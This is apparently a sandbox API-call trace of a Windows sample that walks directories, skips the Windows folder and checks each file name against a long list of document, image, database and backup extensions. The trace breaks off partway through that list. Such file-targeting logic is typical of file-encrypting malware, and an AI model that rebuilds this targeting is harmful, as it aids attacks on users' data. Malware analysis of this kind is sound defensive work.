	[0159.057] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0159.057] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics") returned 142
	[0159.057] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics") returned 1
	[0159.057] lstrlenW (lpString="Diagnostics") returned 11
	[0159.057] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Diagnostics") returned -1
	[0159.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0159.058] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics") returned 142
	[0159.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0159.059] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.059] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0159.059] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 149
	[0159.059] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 1
	[0159.059] lstrlenW (lpString="Simple") returned 6
	[0159.059] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Simple") returned -1
	[0159.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0159.060] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple") returned 149
	[0159.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0159.060] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.060] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0159.060] lstrlenW (lpString="Example3B.Diagnostics.Tests.ps1") returned 31
	[0159.060] lstrlenW (lpString=".1cd") returned 4
	[0159.060] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1
	[0159.060] lstrlenW (lpString=".3ds") returned 4
	[0159.060] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1
	[0159.060] lstrlenW (lpString=".3fr") returned 4
	[0159.061] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1
	[0159.061] lstrlenW (lpString=".3g2") returned 4
	[0159.061] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1
	[0159.061] lstrlenW (lpString=".3gp") returned 4
	[0159.061] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1
	[0159.061] lstrlenW (lpString=".7z") returned 3
	[0159.061] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1
	[0159.061] lstrlenW (lpString=".accda") returned 6
	[0159.061] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".accdb") returned 6
	[0159.061] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".accdc") returned 6
	[0159.061] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".accde") returned 6
	[0159.061] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".accdt") returned 6
	[0159.061] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".accdw") returned 6
	[0159.061] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1
	[0159.061] lstrlenW (lpString=".adb") returned 4
	[0159.061] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1
	[0159.061] lstrlenW (lpString=".adp") returned 4
	[0159.061] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1
	[0159.061] lstrlenW (lpString=".ai") returned 3
	[0159.061] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1
	[0159.061] lstrlenW (lpString=".ai3") returned 4
	[0159.061] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ai4") returned 4
	[0159.062] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ai5") returned 4
	[0159.062] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ai6") returned 4
	[0159.062] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ai7") returned 4
	[0159.062] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ai8") returned 4
	[0159.062] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".anim") returned 5
	[0159.062] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1
	[0159.062] lstrlenW (lpString=".arw") returned 4
	[0159.062] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".as") returned 3
	[0159.062] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1
	[0159.062] lstrlenW (lpString=".asa") returned 4
	[0159.062] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".asc") returned 4
	[0159.062] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1
	[0159.062] lstrlenW (lpString=".ascx") returned 5
	[0159.062] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1
	[0159.062] lstrlenW (lpString=".asm") returned 4
	[0159.062] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".asmx") returned 5
	[0159.063] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1
	[0159.063] lstrlenW (lpString=".asp") returned 4
	[0159.063] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".aspx") returned 5
	[0159.063] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1
	[0159.063] lstrlenW (lpString=".asr") returned 4
	[0159.063] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".asx") returned 4
	[0159.063] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".avi") returned 4
	[0159.063] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".avs") returned 4
	[0159.063] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".backup") returned 7
	[0159.063] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1
	[0159.063] lstrlenW (lpString=".bak") returned 4
	[0159.063] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".bay") returned 4
	[0159.063] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1
	[0159.063] lstrlenW (lpString=".bd") returned 3
	[0159.063] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1
	[0159.063] lstrlenW (lpString=".bin") returned 4
	[0159.064] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".bmp") returned 4
	[0159.064] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".bz2") returned 4
	[0159.064] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".c") returned 2
	[0159.064] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1
	[0159.064] lstrlenW (lpString=".cdr") returned 4
	[0159.064] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".cer") returned 4
	[0159.064] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".cf") returned 3
	[0159.064] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1
	[0159.064] lstrlenW (lpString=".cfc") returned 4
	[0159.064] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".cfm") returned 4
	[0159.064] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".cfml") returned 5
	[0159.064] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1
	[0159.064] lstrlenW (lpString=".cfu") returned 4
	[0159.064] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".chm") returned 4
	[0159.064] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1
	[0159.064] lstrlenW (lpString=".cin") returned 4
	[0159.065] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".class") returned 6
	[0159.065] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1
	[0159.065] lstrlenW (lpString=".clx") returned 4
	[0159.065] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".config") returned 7
	[0159.065] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1
	[0159.065] lstrlenW (lpString=".cpp") returned 4
	[0159.065] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".cr2") returned 4
	[0159.065] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".crt") returned 4
	[0159.065] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".crw") returned 4
	[0159.065] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".cs") returned 3
	[0159.065] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1
	[0159.065] lstrlenW (lpString=".css") returned 4
	[0159.065] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".csv") returned 4
	[0159.065] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1
	[0159.065] lstrlenW (lpString=".cub") returned 4
	[0159.065] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1
	[0159.066] lstrlenW (lpString=".dae") returned 4
	[0159.066] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1
	[0159.066] lstrlenW (lpString=".dat") returned 4
	[0159.066] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".db") returned 3
	[0159.067] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1
	[0159.067] lstrlenW (lpString=".dbf") returned 4
	[0159.067] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dbx") returned 4
	[0159.067] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dc3") returned 4
	[0159.067] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dcm") returned 4
	[0159.067] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dcr") returned 4
	[0159.067] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".der") returned 4
	[0159.067] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dib") returned 4
	[0159.067] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dic") returned 4
	[0159.067] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".dif") returned 4
	[0159.067] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1
	[0159.067] lstrlenW (lpString=".divx") returned 5
	[0159.068] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".djvu") returned 5
	[0159.068] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".dng") returned 4
	[0159.068] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1
	[0159.068] lstrlenW (lpString=".doc") returned 4
	[0159.068] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1
	[0159.068] lstrlenW (lpString=".docm") returned 5
	[0159.068] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".docx") returned 5
	[0159.068] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".dot") returned 4
	[0159.068] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1
	[0159.068] lstrlenW (lpString=".dotm") returned 5
	[0159.068] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".dotx") returned 5
	[0159.068] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1
	[0159.068] lstrlenW (lpString=".dpx") returned 4
	[0159.068] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dqy") returned 4
	[0159.069] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dsn") returned 4
	[0159.069] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dt") returned 3
	[0159.069] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1
	[0159.069] lstrlenW (lpString=".dtd") returned 4
	[0159.069] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dwg") returned 4
	[0159.069] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dwt") returned 4
	[0159.069] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".dx") returned 3
	[0159.069] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1
	[0159.069] lstrlenW (lpString=".dxf") returned 4
	[0159.069] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".edml") returned 5
	[0159.069] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1
	[0159.069] lstrlenW (lpString=".efd") returned 4
	[0159.069] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1
	[0159.069] lstrlenW (lpString=".elf") returned 4
	[0159.069] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".emf") returned 4
	[0159.070] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".emz") returned 4
	[0159.070] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".epf") returned 4
	[0159.070] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".eps") returned 4
	[0159.070] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".epsf") returned 5
	[0159.070] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1
	[0159.070] lstrlenW (lpString=".epsp") returned 5
	[0159.070] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1
	[0159.070] lstrlenW (lpString=".erf") returned 4
	[0159.070] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".exr") returned 4
	[0159.070] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".f4v") returned 4
	[0159.070] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1
	[0159.070] lstrlenW (lpString=".fido") returned 5
	[0159.070] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1
	[0159.071] lstrlenW (lpString=".flm") returned 4
	[0159.071] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".flv") returned 4
	[0159.071] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".frm") returned 4
	[0159.071] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".fxg") returned 4
	[0159.071] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".geo") returned 4
	[0159.071] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".gif") returned 4
	[0159.071] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".grs") returned 4
	[0159.071] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".gz") returned 3
	[0159.071] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1
	[0159.071] lstrlenW (lpString=".h") returned 2
	[0159.071] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1
	[0159.071] lstrlenW (lpString=".hdr") returned 4
	[0159.071] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".hpp") returned 4
	[0159.071] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1
	[0159.071] lstrlenW (lpString=".hta") returned 4
	[0159.072] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".htc") returned 4
	[0159.072] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".htm") returned 4
	[0159.072] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".html") returned 5
	[0159.072] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1
	[0159.072] lstrlenW (lpString=".icb") returned 4
	[0159.072] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".ics") returned 4
	[0159.072] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".iff") returned 4
	[0159.072] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".inc") returned 4
	[0159.072] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".indd") returned 5
	[0159.072] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1
	[0159.072] lstrlenW (lpString=".ini") returned 4
	[0159.072] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".iqy") returned 4
	[0159.072] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".j2c") returned 4
	[0159.072] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".j2k") returned 4
	[0159.072] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1
	[0159.072] lstrlenW (lpString=".java") returned 5
	[0159.072] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1
	[0159.072] lstrlenW (lpString=".jp2") returned 4
	[0159.072] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpc") returned 4
	[0159.073] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpe") returned 4
	[0159.073] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpeg") returned 5
	[0159.073] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpf") returned 4
	[0159.073] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpg") returned 4
	[0159.073] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".jpx") returned 4
	[0159.073] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".js") returned 3
	[0159.073] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1
	[0159.073] lstrlenW (lpString=".jsf") returned 4
	[0159.073] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".json") returned 5
	[0159.073] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1
	[0159.073] lstrlenW (lpString=".jsp") returned 4
	[0159.073] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1
	[0159.073] lstrlenW (lpString=".kdc") returned 4
	[0159.074] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".kmz") returned 4
	[0159.074] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".kwm") returned 4
	[0159.074] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".lasso") returned 6
	[0159.074] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1
	[0159.074] lstrlenW (lpString=".lbi") returned 4
	[0159.074] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".lgf") returned 4
	[0159.074] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".lgp") returned 4
	[0159.074] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".log") returned 4
	[0159.074] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".m1v") returned 4
	[0159.074] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".m4a") returned 4
	[0159.074] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1
	[0159.074] lstrlenW (lpString=".m4v") returned 4
	[0159.075] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".max") returned 4
	[0159.075] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".md") returned 3
	[0159.075] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1
	[0159.075] lstrlenW (lpString=".mda") returned 4
	[0159.075] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".mdb") returned 4
	[0159.075] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".mde") returned 4
	[0159.075] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".mdf") returned 4
	[0159.075] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".mdw") returned 4
	[0159.075] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1
	[0159.075] lstrlenW (lpString=".mef") returned 4
	[0159.076] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mft") returned 4
	[0159.076] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mfw") returned 4
	[0159.076] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mht") returned 4
	[0159.076] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mhtml") returned 6
	[0159.076] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1
	[0159.076] lstrlenW (lpString=".mka") returned 4
	[0159.076] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mkidx") returned 6
	[0159.076] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1
	[0159.076] lstrlenW (lpString=".mkv") returned 4
	[0159.076] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mos") returned 4
	[0159.076] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mov") returned 4
